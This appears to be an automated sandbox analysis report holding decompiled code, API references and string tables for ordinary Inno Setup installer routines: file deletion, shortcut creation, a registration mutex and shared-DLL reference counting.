0x0048d67b
0x0048d68b
0x0048d695
0x0048d6a5
0x0048d6b4
0x0048d899
0x0048d8a1
0x0048d8a8
0x0048d8ae
0x0048d8b1
0x0048d8b4
0x0048d8bb
0x0048d8be
0x0048d8cf
0x0048d8d2
0x0048d8d5
0x0048d8da
0x0048d8de
0x0048d8e4
0x00000000
0x0048d8ed
0x0048d8f2
0x0048d6ba
0x0048d6c1
0x0048d6c6
0x0048d6ce
0x0048d6d5
0x0048d6d6
0x0048d6db
0x0048d6de
0x0048d6e1
0x0048d6fb
0x0048d700
0x0048d701
0x0048d706
0x0048d709
0x0048d84f
0x0048d717
0x0048d71f
0x0048d724
0x0048d727
0x0048d730
0x0048d733
0x0048d739
0x0048d73c
0x0048d740
0x0048d757
0x0048d75c
0x0048d75f
0x0048d763
0x0048d778
0x0048d778
0x0048d765
0x0048d765
0x0048d769
0x0048d774
0x0048d774
0x0048d76b
0x0048d76b
0x0048d772
0x00000000
0x00000000
0x00000000
0x00000000
0x0048d772
0x0048d769
0x0048d77a
0x0048d77f
0x0048d780
0x0048d785
0x0048d788
0x0048d791
0x0048d791
0x0048d793
0x0048d7c0
0x0048d795
0x0048d795
0x0048d795
0x0048d797
0x0048d7d4
0x0048d7d6
0x0048d799
0x0048d799
0x0048d799
0x0048d79b
0x0048d7ae
0x0048d79d
0x0048d79d
0x0048d79f
0x0048d7ca
0x0048d7ca
0x0048d79f
0x0048d79b
0x0048d797
0x0048d7dd
0x0048d7e0
0x0048d7e0
0x0048d740
0x0048d733
0x0048d727
0x0048d861
0x0048d864
0x0048d867
0x0048d874
0x0048d874
0x0048d6b4

APIs

ShowWindow.USER32(?,00000005,00000000,0048D915,?,?,00000000,?,00000000,00000000,?,0048DC35,00000000,0048DC3F,?,00000000), ref: 0048D60F
CreateMutexA.KERNEL32(00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,0048D915,?,?,00000000,?,00000000,00000000,?,0048DC35,00000000), ref: 0048D622
ShowWindow.USER32(?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,0048D915,?,?,00000000,?,00000000,00000000), ref: 0048D632
MsgWaitForMultipleObjects.USER32 ref: 0048D653
ShowWindow.USER32(?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,0048D915,?,?,00000000,?,00000000), ref: 0048D663

Part of subcall function 0042D308: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,0042D393,?,?,00000000,?,?,0048D054,00000000,0048D1E7,?,?,00000005), ref: 0042D33D

Strings

/REG, xrefs: 0048D5C1
.msg, xrefs: 0048D686
Inno-Setup-RegSvr-Mutex, xrefs: 0048D619
.lst, xrefs: 0048D6A0
/REGU, xrefs: 0048D5E5
Setup, xrefs: 0048D5FB

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ShowWindow$CreateFileModuleMultipleMutexNameObjectsWait
String ID: .lst$.msg$/REG$/REGU$Inno-Setup-RegSvr-Mutex$Setup
API String ID: 2000705611-3672972446
Opcode ID: 709689e2fed7ca7904e7793cf39f02fb1279a426f7bdeb9851de57c37fb0ac74
Instruction ID: 37b28bd7451e977fb54c92a4b3750ca7ea8e073d6d1103c4f4b388f3075d58e0
Opcode Fuzzy Hash: 709689e2fed7ca7904e7793cf39f02fb1279a426f7bdeb9851de57c37fb0ac74
Instruction Fuzzy Hash: 0181C370E04244AFDB01FBA5C852BAFB7B5EB49304F51487BF800AB2D2D67C9805CB29

Uniqueness

Uniqueness Score: -1.00%

Function 0045784C Relevance: 21.2, APIs: 2, Strings: 10, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0045784C(char __eax, void* __ebx, char __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, char _a4, char _a8, intOrPtr _a12) {
				char _v5;
				char _v6;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				void* _t59;
				void* _t107;
				void* _t129;
				intOrPtr _t156;
				intOrPtr _t168;
				void* _t178;
				signed int _t179;
				char _t181;
				void* _t183;
				void* _t184;
				intOrPtr _t185;

				_t177 = __edi;
				_t130 = __ecx;
				_t183 = _t184;
				_t185 = _t184 + 0xffffffec;
				_push(__edi);
				_v12 = 0;
				_v24 = 0;
				_v5 = __ecx;
				_t129 = __edx;
				_t181 = __eax;
				_push(_t183);
				_push(0x457ae6);
				_push( *[fs:eax]);
				 *[fs:eax] = _t185;
				_v6 = 1;
				E0042C830(__eax, __ecx,  &_v12, __eflags);
				_t59 = E00406A24(_v12, 0x457b04);
				_t187 = _t59;
				if(_t59 != 0) {
					E0042C830(_t181, _t130,  &_v12, __eflags);
					__eflags = E00406A24(_v12, 0x457b34);
					if(__eflags == 0) {
						E0042C484(_t181, _t129,  &_v12, 0x457b44, __edi, _t181, __eflags);
						__eflags = 0;
						E0045784C(_v12, _t129, 0, _t129, __edi, _t181, 0, 0, 0, _a12);
					}
				} else {
					E0042C484(_t181, _t129,  &_v12, 0x457b14, __edi, _t181, _t187);
					E0045784C(_v12, _t129, 0, _t129, __edi, _t181, _t187, 0, 0, _a12);
					E0042C484(_t181, _t129,  &_v12, 0x457b24, __edi, _t181, _t187);
					E0045784C(_v12, _t129, 0, _t129, _t177, _t181, _t187, 0, 0, _a12);
				}
				if(E004511E4(_t129, _t181, _t187) == 0) {
					L21:
					_pop(_t156);
					 *[fs:eax] = _t156;
					_push(E00457AED);
					E00403418( &_v24);
					return E00403418( &_v12);
				}
				_v20 = _t181;
				_v16 = 0xb;
				_t133 = 0;
				E00455538("Deleting file: %s", _t129, 0,  &_v20, _t177, _t181);
				_t189 = _a4;
				if(_a4 != 0) {
					_t179 = E00450F24(_t129, _t181, _t189);
					if(_t179 != 0xffffffff) {
						_t191 = _t179 & 0x00000001;
						if((_t179 & 0x00000001) != 0) {
							_t133 = _t179 & 0xfffffffe;
							_t107 = E004512CC(_t129, _t179 & 0xfffffffe, _t181, _t191);
							_t192 = _t107;
							if(_t107 == 0) {
								E00455348("Failed to strip read-only attribute.", _t129, _t179, _t181);
							} else {
								E00455348("Stripped read-only attribute.", _t129, _t179, _t181);
							}
						}
					}
				}
				if(E00450D4C(_t129, _t181, _t192) != 0) {
					__eflags = _v5;
					if(_v5 != 0) {
						SHChangeNotify(4, 1, E00403750(_t181), 0);
						E0042C7D8(_t181, _t133,  &_v12);
						E0045410C( *((intOrPtr*)(_a12 - 0x14)), _t133, _v12);
					}
					goto L21;
				} else {
					_t178 = GetLastError();
					if(_a8 == 0 ||  *((char*)(_a12 - 1)) == 0) {
						L18:
						_v20 = _t178;
						_v16 = 0;
						E00455538("Failed to delete the file; it may be in use (%d).", _t129, 0,  &_v20, _t178, _t181);
						_v6 = 0;
						goto L21;
					} else {
						if(_t178 == 5) {
							L16:
							if((E00450F24(_t129, _t181, _t197) & 0x00000001) != 0) {
								goto L18;
							}
							_v20 = _t178;
							_v16 = 0;
							E00455538("The file appears to be in use (%d). Will delete on restart.", _t129, 0,  &_v20, _t178, _t181);
							_push(_t183);
							_push(0x457a43);
							_push( *[fs:eax]);
							 *[fs:eax] = _t185;
							E00451F7C(_t129, _t129, _t181, _t178, _t181);
							 *((char*)( *((intOrPtr*)(_a12 - 8)) + 0x1c)) = 1;
							E0042C738(_t181,  &_v24);
							E0042C7D8(_v24, 0,  &_v12);
							E0045410C( *((intOrPtr*)(_a12 + 0xfffffffffffffff0)), _a12, _v12);
							_pop(_t168);
							 *[fs:eax] = _t168;
							goto L21;
						}
						_t197 = _t178 - 0x20;
						if(_t178 != 0x20) {
							goto L18;
						}
						goto L16;
					}
				}
			}

0x0045784c
0x0045784c
0x0045784d
0x0045784f
0x00457854
0x00457857
0x0045785a
0x0045785d
0x00457860
0x00457862
0x00457866
0x00457867
0x0045786c
0x0045786f
0x00457872
0x0045787b
0x00457888
0x0045788d
0x0045788f
0x004578e0
0x004578f2
0x004578f4
0x00457908
0x00457910
0x00457914
0x00457919
0x00457891
0x004578a3
0x004578af
0x004578c7
0x004578d3
0x004578d8
0x00457925
0x00457ac8
0x00457aca
0x00457acd
0x00457ad0
0x00457ad8
0x00457ae5
0x00457ae5
0x0045792b
0x0045792e
0x00457935
0x0045793c
0x00457941
0x00457945
0x00457950
0x00457955
0x00457957
0x0045795d
0x00457961
0x00457968
0x0045796d
0x0045796f
0x00457982
0x00457971
0x00457976
0x00457976
0x0045796f
0x0045795d
0x00457955
0x00457992
0x00457a97
0x00457a9b
0x00457aab
0x00457ab5
0x00457ac3
0x00457ac3
0x00000000
0x00457998
0x0045799d
0x004579a3
0x00457a7b
0x00457a7b
0x00457a7e
0x00457a8c
0x00457a91
0x00000000
0x004579b6
0x004579b9
0x004579c4
0x004579cf
0x00000000
0x00000000
0x004579d5
0x004579d8
0x004579e6
0x004579ed
0x004579ee
0x004579f3
0x004579f6
0x004579ff
0x00457a0a
0x00457a13
0x00457a1e
0x00457a31
0x00457a38
0x00457a3b
0x00000000
0x00457a3b
0x004579bb
0x004579be
0x00000000
0x00000000
0x00000000
0x004579be
0x004579a3

APIs

GetLastError.KERNEL32(00000000,00457AE6,?,?,?,?), ref: 00457998

Strings

Failed to delete the file; it may be in use (%d)., xrefs: 00457A87
Failed to strip read-only attribute., xrefs: 0045797D
Stripped read-only attribute., xrefs: 00457971
The file appears to be in use (%d). Will delete on restart., xrefs: 004579E1
.gid, xrefs: 0045789C
.chm, xrefs: 004578E8
Deleting file: %s, xrefs: 00457937
.chw, xrefs: 00457901
.hlp, xrefs: 00457883
.fts, xrefs: 004578C0

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ErrorLast
String ID: .chm$.chw$.fts$.gid$.hlp$Deleting file: %s$Failed to delete the file; it may be in use (%d).$Failed to strip read-only attribute.$Stripped read-only attribute.$The file appears to be in use (%d). Will delete on restart.
API String ID: 1452528299-1593206319
Opcode ID: 14c739a795068cb21df350bcaf323c36bb5814d9d5401df17ce1ac7e32bed583
Instruction ID: f7b77abe31879538ceee7930d0a09f17d958c6af1db67e2cd919c9b6c49bc4bb
Opcode Fuzzy Hash: 14c739a795068cb21df350bcaf323c36bb5814d9d5401df17ce1ac7e32bed583
Instruction Fuzzy Hash: A161B270B082455BDB10EB69A8817AE7BA59B48309F50847BFC01EB383DB7C9E49C759

Uniqueness

Uniqueness Score: -1.00%

Function 0041B390 Relevance: 21.1, APIs: 14, Instructions: 126
windowCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E0041B390(struct HDC__* __eax, void* __ecx, void* __edx) {
				void* _v8;
				int _v12;
				int _v16;
				void* _v20;
				int _v24;
				struct HDC__* _v28;
				struct HDC__* _v32;
				int _v48;
				int _v52;
				void _v56;
				int _t37;
				void* _t41;
				int _t43;
				void* _t47;
				void* _t73;
				intOrPtr _t78;
				void* _t85;
				void* _t87;
				void* _t89;
				intOrPtr _t90;

				_t87 = _t89;
				_t90 = _t89 + 0xffffffcc;
				asm("movsd");
				asm("movsd");
				_v8 = __eax;
				_push(0);
				L00405BC4();
				_v28 = __eax;
				_push(0);
				L00405BC4();
				_v32 = __eax;
				_t37 = GetObjectA(_v8, 0x18,  &_v56);
				if(__ecx == 0) {
					_push(0);
					L00405F1C();
					_v24 = _t37;
					if(_v24 == 0) {
						E0041B378();
					}
					_push(_t87);
					_push(0x41b43f);
					_push( *[fs:eax]);
					 *[fs:eax] = _t90;
					_push(_v12);
					_push(_v16);
					_t41 = _v24;
					_push(_t41);
					L00405BBC();
					_v20 = _t41;
					if(_v20 == 0) {
						E0041B378();
					}
					_pop(_t78);
					 *[fs:eax] = _t78;
					_push(E0041B446);
					_t43 = _v24;
					_push(_t43);
					_push(0);
					L00406104();
					return _t43;
				} else {
					_push(0);
					_push(1);
					_push(1);
					_push(_v12);
					_t47 = _v16;
					_push(_t47);
					L00405BAC();
					_v20 = _t47;
					if(_v20 != 0) {
						_t73 = SelectObject(_v28, _v8);
						_t85 = SelectObject(_v32, _v20);
						StretchBlt(_v32, 0, 0, _v16, _v12, _v28, 0, 0, _v52, _v48, 0xcc0020);
						if(_t73 != 0) {
							SelectObject(_v28, _t73);
						}
						if(_t85 != 0) {
							SelectObject(_v32, _t85);
						}
					}
					DeleteDC(_v28);
					DeleteDC(_v32);
					return _v20;
				}
			}

0x0041b391
0x0041b393
0x0041b39e
0x0041b39f
0x0041b3a2
0x0041b3a5
0x0041b3a7
0x0041b3ac
0x0041b3af
0x0041b3b1
0x0041b3b6
0x0041b3c3
0x0041b3ca
0x0041b3e4
0x0041b3e6
0x0041b3eb
0x0041b3f2
0x0041b3f4
0x0041b3f4
0x0041b3fb
0x0041b3fc
0x0041b401
0x0041b404
0x0041b40a
0x0041b40e
0x0041b40f
0x0041b412
0x0041b413
0x0041b418
0x0041b41f
0x0041b421
0x0041b421
0x0041b428
0x0041b42b
0x0041b42e
0x0041b433
0x0041b436
0x0041b437
0x0041b439
0x0041b43e
0x0041b3cc
0x0041b3cc
0x0041b3ce
0x0041b3d0
0x0041b3d5
0x0041b3d6
0x0041b3d9
0x0041b3da
0x0041b3df
0x0041b44a
0x0041b459
0x0041b468
0x0041b48f
0x0041b496
0x0041b49d
0x0041b49d
0x0041b4a4
0x0041b4ab
0x0041b4ab
0x0041b4a4
0x0041b4b4
0x0041b4bd
0x0041b4cb
0x0041b4cb

APIs

73AFA590.GDI32(00000000,?,00000000,?), ref: 0041B3A7
73AFA590.GDI32(00000000,00000000,?,00000000,?), ref: 0041B3B1
GetObjectA.GDI32(?,00000018,00000004), ref: 0041B3C3
73AFA410.GDI32(0000000B,?,00000001,00000001,00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B3DA
73AFAC50.USER32(00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B3E6
73AFA520.GDI32(00000000,0000000B,?,00000000,0041B43F,?,00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B413
73AFB380.USER32(00000000,00000000,0041B446,00000000,0041B43F,?,00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B439
SelectObject.GDI32(00000000,?), ref: 0041B454
SelectObject.GDI32(?,00000000), ref: 0041B463
StretchBlt.GDI32(?,00000000,00000000,0000000B,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0041B48F
SelectObject.GDI32(00000000,00000000), ref: 0041B49D
SelectObject.GDI32(?,00000000), ref: 0041B4AB
DeleteDC.GDI32(00000000), ref: 0041B4B4
DeleteDC.GDI32(?), ref: 0041B4BD

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Object$Select$A590Delete$A410A520B380Stretch
String ID:
API String ID: 956127455-0
Opcode ID: bdfd24820ffa190ffa6e5ff65337936c9d04770c1e1342dda2bcf554a444566f
Instruction ID: e33297414afcf6542cc392d9efff39766b3fffd6ca5da56ef3a599dd686c2ce6
Opcode Fuzzy Hash: bdfd24820ffa190ffa6e5ff65337936c9d04770c1e1342dda2bcf554a444566f
Instruction Fuzzy Hash: 9141C171E40619AFDB10EBE9C845FEFB7B8EB08704F104466B614FB281D77869408BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0046C0C8 Relevance: 19.6, APIs: 4, Strings: 7, Instructions: 317
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0046C0C8(char __eax, void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags, char _a4, intOrPtr _a8, char _a12, char _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40) {
				char _v8;
				intOrPtr _v12;
				char _v13;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v37;
				char _v38;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _t261;
				signed char _t279;
				intOrPtr _t317;
				intOrPtr _t333;
				intOrPtr _t336;
				intOrPtr _t338;
				void* _t340;
				void* _t341;
				intOrPtr _t342;
				void* _t343;

				_t343 = __eflags;
				_t340 = _t341;
				_t342 = _t341 + 0xffffffcc;
				_v44 = 0;
				_v20 = 0;
				_v24 = 0;
				_v28 = 0;
				_v32 = 0;
				_v36 = 0;
				_t338 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_t336 = _a28;
				E00403740(_v8);
				_push(_t340);
				_push(0x46c4cb);
				_push( *[fs:eax]);
				 *[fs:eax] = _t342;
				E00403790(_v8, 8, 1,  &_v44);
				E0040369C(_v44, "{group}\\");
				_v13 = _t343 == 0;
				E004737F0(_v8, 8,  &_v44);
				E004034AC( &_v8, _v44);
				E004034AC( &_v44, _v8);
				E00403594( &_v44, 0x46c4f8);
				E0042C738(_v44,  &_v20);
				E004034AC( &_v44, _v8);
				E00403594( &_v44, 0x46c508);
				E0042C738(_v44,  &_v24);
				E004034AC( &_v44, _v8);
				E00403594( &_v44, 0x46c518);
				E0042C738(_v44,  &_v28);
				_t279 =  *0x46c520; // 0x8
				_t344 = _a16;
				if(_a16 == 0) {
					__eflags = _v13;
					if(__eflags != 0) {
						__eflags = _t279;
					}
				} else {
					_t279 = _t279 | 0x00000001;
				}
				_v37 = E0046BF1C(_t338, _t344);
				_t345 = _v37;
				if(_v37 == 0) {
					E004034AC( &_v32, _v20);
				} else {
					E004034AC( &_v32, _v28);
				}
				_v52 = _v32;
				_v48 = 0xb;
				E00455538("Filename: %s", _t279, 0,  &_v52, _t336, _t338);
				E00468220(_v32, _t279, 1, _t336, _t338, _t345);
				E0042C7D8(_v32, 0,  &_v44);
				E004695BC(0, _t279, _t279, _v44, _t336, _t338, _t345,  *((intOrPtr*)(_a40 + 8)));
				E00406EE8(_v20);
				E00406EE8(_v24);
				if(E0042CC44(_v28) != 0) {
					WritePrivateProfileStringA(0, 0, 0, E00403750(_v28));
				}
				E00406EE8(_v28);
				if(_v37 != 0) {
					_t285 = _t336;
					E0046BF84(_v28, _t279, _t336, _t338, _t336, _t338, _a24);
					E004034AC( &_v36, _v28);
					_v38 = 0;
				} else {
					_t285 = _t338;
					E00454308(_v20, _t279, _t338, _v12, _t336, _t338,  &_v36, _a4, _a8, _a20, _a24, _t336, _a32, _a36);
					_t348 = _a4;
					if(_a4 == 0 || E0042CC68(_t348) == 0) {
						_t261 = 0;
					} else {
						_t261 = 1;
					}
					_v38 = _t261;
					if(_a12 != 0) {
						_t351 = _v38;
						if(_v38 == 0) {
							E0042C830(_v36, _t285,  &_v44, _t351);
							if(E00406A24(_v44, 0x46c508) == 0) {
								_push(_t340);
								_push( *[fs:eax]);
								 *[fs:eax] = _t342;
								E00453594(_v36, _t279, 0x46c500 | _a12 == 0x00000001);
								_pop(_t333);
								_t285 = 0x46c307;
								 *[fs:eax] = _t333;
							}
						}
					}
				}
				 *0x490278 = 1;
				if(_v38 == 0) {
					SHChangeNotify(2, 1, E00403750(_v36), 0);
				} else {
					SHChangeNotify(8, 1, E00403750(_v36), 0);
				}
				E0042C7D8(_v36, _t285,  &_v44);
				SHChangeNotify(0x1000, 0x1001, E00403750(_v44), 0);
				if(_a16 == 0) {
					_t356 = _v38;
					if(_v38 == 0) {
						__eflags = _v37;
						if(_v37 == 0) {
							_v56 = _v20;
							E00457428( *((intOrPtr*)( *((intOrPtr*)(_a40 + 8)) - 4)), _t279,  &_v56, 0x82, _t336, _t338, 0x20, 0);
							_v56 = _v24;
							E00457428( *((intOrPtr*)( *((intOrPtr*)(_a40 + 8)) - 4)), _t279,  &_v56, 0x82, _t336, _t338, 0x20, 0);
						} else {
							_v56 = _v36;
							E00457428( *((intOrPtr*)( *((intOrPtr*)(_a40 + 8)) - 4)), _t279,  &_v56, 0x82, _t336, _t338, 0x20, 0);
						}
					} else {
						_v56 = _v36;
						E00457428( *((intOrPtr*)( *((intOrPtr*)(_a40 + 8)) - 4)), _t279,  &_v56, 0x81, _t336, _t338, 0x12, 0);
						E0042C3E0(_v36,  &_v44);
						E00403594( &_v44, "target.lnk");
						_v56 = _v44;
						E00457428( *((intOrPtr*)( *((intOrPtr*)(_a40 + 8)) - 4)), _t279,  &_v56, 0x82, _t336, _t338, 0, 0);
						E0042C3E0(_v36,  &_v44);
						E00403594( &_v44, "Desktop.ini");
						_v56 = _v44;
						E00457428( *((intOrPtr*)( *((intOrPtr*)(_a40 + 8)) - 4)), _t279,  &_v56, 0x82, _t336, _t338, 0, 0);
					}
				}
				E0046840C(0x3e8, _t356);
				_pop(_t317);
				 *[fs:eax] = _t317;
				_push(0x46c4d2);
				E00403418( &_v44);
				E00403438( &_v36, 5);
				return E00403418( &_v8);
			}

0x0046c0c8
0x0046c0c9
0x0046c0cb
0x0046c0d3
0x0046c0d6
0x0046c0d9
0x0046c0dc
0x0046c0df
0x0046c0e2
0x0046c0e5
0x0046c0e7
0x0046c0ea
0x0046c0ed
0x0046c0f3
0x0046c0fa
0x0046c0fb
0x0046c100
0x0046c103
0x0046c117
0x0046c124
0x0046c129
0x0046c133
0x0046c13e
0x0046c149
0x0046c156
0x0046c161
0x0046c16c
0x0046c179
0x0046c184
0x0046c18f
0x0046c19c
0x0046c1a7
0x0046c1ac
0x0046c1b2
0x0046c1b6
0x0046c1bd
0x0046c1c1
0x0046c1c3
0x0046c1c3
0x0046c1b8
0x0046c1b8
0x0046c1b8
0x0046c1cd
0x0046c1d0
0x0046c1d4
0x0046c1e9
0x0046c1d6
0x0046c1dc
0x0046c1dc
0x0046c1f1
0x0046c1f4
0x0046c202
0x0046c20c
0x0046c21e
0x0046c22a
0x0046c233
0x0046c23b
0x0046c24a
0x0046c25b
0x0046c25b
0x0046c263
0x0046c26c
0x0046c317
0x0046c31e
0x0046c329
0x0046c32e
0x0046c272
0x0046c290
0x0046c298
0x0046c29d
0x0046c2a1
0x0046c2af
0x0046c2b3
0x0046c2b3
0x0046c2b3
0x0046c2b5
0x0046c2bc
0x0046c2be
0x0046c2c2
0x0046c2ca
0x0046c2de
0x0046c2e2
0x0046c2e8
0x0046c2eb
0x0046c2f8
0x0046c2ff
0x0046c301
0x0046c302
0x0046c302
0x0046c2de
0x0046c2c2
0x0046c2bc
0x0046c332
0x0046c33d
0x0046c364
0x0046c33f
0x0046c34e
0x0046c34e
0x0046c371
0x0046c389
0x0046c392
0x0046c398
0x0046c39c
0x0046c431
0x0046c435
0x0046c45f
0x0046c472
0x0046c47e
0x0046c491
0x0046c437
0x0046c43e
0x0046c451
0x0046c451
0x0046c3a2
0x0046c3a9
0x0046c3bc
0x0046c3cb
0x0046c3d8
0x0046c3e0
0x0046c3f3
0x0046c402
0x0046c40f
0x0046c417
0x0046c42a
0x0046c42a
0x0046c39c
0x0046c49b
0x0046c4a2
0x0046c4a5
0x0046c4a8
0x0046c4b0
0x0046c4bd
0x0046c4ca

APIs

Part of subcall function 0042C738: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C75C

WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 0046C25B
SHChangeNotify.SHELL32(00000008,00000001,00000000,00000000), ref: 0046C34E
SHChangeNotify.SHELL32(00000002,00000001,00000000,00000000), ref: 0046C364
SHChangeNotify.SHELL32(00001000,00001001,00000000,00000000), ref: 0046C389

Strings

.lnk, xrefs: 0046C151
.url, xrefs: 0046C197
Desktop.ini, xrefs: 0046C40A
Filename: %s, xrefs: 0046C1FD
.pif, xrefs: 0046C174, 0046C2D2
{group}\, xrefs: 0046C11F
target.lnk, xrefs: 0046C3D3

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ChangeNotify$FullNamePathPrivateProfileStringWrite
String ID: .lnk$.pif$.url$Desktop.ini$Filename: %s$target.lnk${group}\
API String ID: 971782779-3668018701
Opcode ID: 676ccd234e8d852b30647431694659b96cb3e2d7e0505fee98f1dcaa1d8f9603
Instruction ID: ed409d1b68ce0096140bd8461c3c9ccc532d3a99ec7b6d3cebc44973f5dc1d6f
Opcode Fuzzy Hash: 676ccd234e8d852b30647431694659b96cb3e2d7e0505fee98f1dcaa1d8f9603
Instruction Fuzzy Hash: 89D14074A002499BDB00EF95D881BEEBBF4AF48314F54402BF840B7392D778AE45CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00452AA0 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 244
registryCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00452AA0(void* __ebx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v8;
				char _v9;
				void* _v16;
				char _v17;
				char _v24;
				int _v28;
				int _v32;
				char _v36;
				char _v40;
				char* _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				char* _v64;
				char _v68;
				char _v72;
				void* _t75;
				void* _t94;
				void* _t99;
				void* _t103;
				char* _t106;
				void* _t129;
				void* _t164;
				void* _t169;
				intOrPtr _t187;
				intOrPtr _t191;
				intOrPtr _t193;
				void* _t205;
				void* _t206;
				intOrPtr _t207;

				_t205 = _t206;
				_t207 = _t206 + 0xffffffbc;
				_v40 = 0;
				_v52 = 0;
				_v68 = 0;
				_v72 = 0;
				_v36 = 0;
				_v8 = __edx;
				_push(_t205);
				_push(0x452d70);
				_push( *[fs:edx]);
				 *[fs:edx] = _t207;
				_v9 = 0;
				_t169 = E0042DC1C(_t75, "Software\\Microsoft\\Windows\\CurrentVersion\\SharedDLLs", 0x80000002,  &_v16, 3, 0);
				if(_t169 == 2) {
					L28:
					_pop(_t187);
					 *[fs:eax] = _t187;
					_push(E00452D77);
					E00403438( &_v72, 2);
					E00403418( &_v52);
					return E00403438( &_v40, 2);
				} else {
					if(_t169 != 0) {
						E00451920(0x80000002,  &_v52);
						_v48 = _v52;
						_v44 = "Software\\Microsoft\\Windows\\CurrentVersion\\SharedDLLs";
						E00450374(0x3d, 1,  &_v48,  &_v40);
						E00403594( &_v40, 0x452e04);
						_push( &_v40);
						_v64 = "RegOpenKeyEx";
						E00406D00(_t169,  &_v68);
						_v60 = _v68;
						E0042E638(_t169,  &_v72);
						_v56 = _v72;
						E00450374(0x34, 2,  &_v64,  &_v52);
						_pop(_t164);
						E00403594(_t164, _v52);
						E00408BA4(_v40, 1);
						E00403134();
					}
					_push(_t205);
					_push(0x452d39);
					_push( *[fs:eax]);
					 *[fs:eax] = _t207;
					if(RegQueryValueExA(_v16, E00403750(_v8), 0,  &_v28, 0,  &_v32) == 0) {
						_v17 = 0;
						_v24 = 0;
						_push(_t205);
						_push(0x452c83);
						_push( *[fs:eax]);
						 *[fs:eax] = _t207;
						_t94 = _v28 - 1;
						if(_t94 == 0) {
							if(E0042DB4C() != 0) {
								_v24 = E00406D30(_v36,  &_v36);
								_v17 = 1;
							}
						} else {
							_t129 = _t94 - 2;
							if(_t129 == 0) {
								if(_v32 >= 1 && _v32 <= 4 && RegQueryValueExA(_v16, E00403750(_v8), 0, 0,  &_v24,  &_v32) == 0) {
									_v17 = 1;
								}
							} else {
								if(_t129 == 1) {
									_v32 = 4;
									if(RegQueryValueExA(_v16, E00403750(_v8), 0, 0,  &_v24,  &_v32) == 0) {
										_v17 = 1;
									}
								}
							}
						}
						_pop(_t191);
						 *[fs:eax] = _t191;
						if(_v17 != 0) {
							_v24 = _v24 - 1;
							if(_v24 > 0) {
								_t99 = _v28 - 1;
								if(_t99 == 0) {
									E00406D00(_v24,  &_v36);
									_t103 = E0040358C(_v36);
									_t106 = E00403750(_v36);
									RegSetValueExA(_v16, E00403750(_v8), 0, 1, _t106, _t103 + 1);
								} else {
									if(_t99 + 0xfffffffe - 2 < 0) {
										RegSetValueExA(_v16, E00403750(_v8), 0, _v28,  &_v24, 4);
									}
								}
							} else {
								_v9 = 1;
								RegDeleteValueA(_v16, E00403750(_v8));
							}
							_pop(_t193);
							 *[fs:eax] = _t193;
							_push(E00452D40);
							return RegCloseKey(_v16);
						} else {
							E004031D4();
							goto L28;
						}
					} else {
						E004031D4();
						goto L28;
					}
				}
